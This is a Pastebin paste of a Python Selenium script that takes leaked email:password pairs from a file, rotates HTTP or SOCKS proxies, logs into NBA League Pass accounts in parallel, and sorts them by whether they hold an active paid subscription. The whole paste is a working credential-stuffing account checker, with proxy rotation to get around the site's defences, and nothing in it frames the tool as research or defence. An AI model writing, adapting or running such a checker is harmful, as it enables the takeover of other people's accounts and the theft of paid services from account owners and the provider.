Advertisement
Guest User

Untitled

a guest
Sep 21st, 2017
246
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.49 KB | None | 0 0
  1. from multiprocessing import Pool, TimeoutError
  2. from multiprocessing import Queue
  3. import time
  4. import os
  5. import time
  6. import random
  7. from selenium import webdriver
  8. from selenium.common.exceptions import WebDriverException
  9. from selenium.webdriver.firefox.options import Options
  10. from selenium.common.exceptions import TimeoutException
  11. from selenium.webdriver.support import expected_conditions as EC
  12. from selenium.webdriver.support.ui import WebDriverWait
  13. from functools import partial
  14.  
  15. options = Options()
  16. options.add_argument('-headless')
  17. working = Queue(maxsize=0)
  18. notworking = Queue(maxsize=0)
  19. notlogginin = Queue(maxsize=0)
  20. recheck = Queue(maxsize=0)
  21. threads = []
  22. workingx1 = []
  23. notworkingx1 = []
  24. notloggininx1 = []
  25. recheckx1 = []
  26. driver=webdriver
  27. def check(line, var):
  28. global working,notworking,notlogginin,recheck
  29. print('Checking : ' + line)
  30. r = line.split(":")
  31. proxy = random.choice(list(open('proxies.txt')))
  32. m = proxy.split(":")
  33. fp = driver.FirefoxProfile()
  34. if var == 1:
  35. var = 1
  36. elif var == 2:
  37. fp.set_preference("network.proxy.type", 1)
  38. fp.set_preference("network.proxy.http", m[0]) # HTTP PROXY
  39. fp.set_preference("network.proxy.http_port", int(m[1]))
  40. fp.set_preference("network.proxy.ssl", m[0]) # SSL PROXY
  41. fp.set_preference("network.proxy.ssl_port", int(m[1]))
  42. elif var == 3:
  43. fp.set_preference("network.proxy.type", 1)
  44. fp.set_preference('network.proxy.socks', m[0]) # SOCKS PROXY
  45. fp.set_preference('network.proxy.socks_port', int(m[1]))
  46. fp.update_preferences()
  47. browser = driver.Firefox(firefox_profile=fp) # , firefox_options=options
  48. browser.set_page_load_timeout(20)
  49. try:
  50. browser.get(
  51. "https://secure.nba.com/membership/leaguepass/user/login/?nbaMembershipRedirectExternalUrl=https://account.nba.com/ssoentrypage?redirect=myaccount/orders")
  52. except WebDriverException:
  53. recheck.put(line)
  54. print('proxy issue :' + proxy + '. added ' + line + ' to recheck.txt')
  55. else:
  56. print("Logging in...")
  57. time.sleep(1)
  58. username = browser.find_element_by_id("nbaMembershipEmailAddress")
  59. password = browser.find_element_by_id("nbaMembershipPassword")
  60. username.send_keys(r[0])
  61. password.send_keys(r[1])
  62. login_attempt = browser.find_element_by_xpath("//*[@type='submit']")
  63. login_attempt.submit()
  64. title = 'NBA LEAGUE PASS'
  65. try:
  66. WebDriverWait(browser, 20).until_not(EC.title_is(title))
  67. except TimeoutException as ex:
  68. notlogginin.put(line)
  69. print('Account type : Unable to login')
  70.  
  71. else:
  72. browser.get("https://account.nba.com/myaccount/orders")
  73. time.sleep(3)
  74. browser.find_element_by_tag_name('BODY').send_keys("Keys.ESCAPE")
  75. text = "<strong>Active</strong>"
  76. if (text in browser.page_source):
  77. working.put(line)
  78. print('Account type : Premium')
  79. else:
  80. notworking.put(line)
  81.  
  82. print("Account type : Normal")
  83. finally:
  84. print("checked " + line)
  85. finally:
  86. browser.quit()
  87.  
  88. return
  89. if __name__ == '__main__':
  90. var = int(input("enter \n1 for no proxy \n2 for http\n3 for socks : "))
  91. thrcount = int(input("Total threads : "))
  92. accs = []
  93. global working,notworking,notlogginin,recheck
  94. pool = Pool(processes=thrcount) # start 4 worker processes
  95. with open('accs.txt') as f:
  96. for line in f:
  97. accs.append(line)
  98.  
  99. n=pool.map(partial(check, var=var), accs)
  100. print('*****************'+notworking.get()+'*****************')
  101. pool.close()
  102. pool.join()
  103. worktextf = open('work.txt', 'a')
  104. notworktextf = open('notwork.txt', 'a')
  105. nologintextf = open('no-login.txt', 'a')
  106. rechecktextf = open('recheck.txt', 'a')
  107. while not working.empty():
  108. print('OMFG PRINT SOMETHING')
  109. worktextf.write(working.get())
  110. while not notworking.empty():
  111. print('OMFG PRINT SOMETHING')
  112. notworktextf.write(notworking.get())
  113. while not notlogginin.empty():
  114. print('OMFG PRINT SOMETHING')
  115. nologintextf.write(notlogginin.get())
  116. while not recheck.empty():
  117. print('OMFG PRINT SOMETHING')
  118. rechecktextf.write(recheck.get())
  119. worktextf.close()
  120. notworktextf.close()
  121. nologintextf.close()
  122. rechecktextf.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement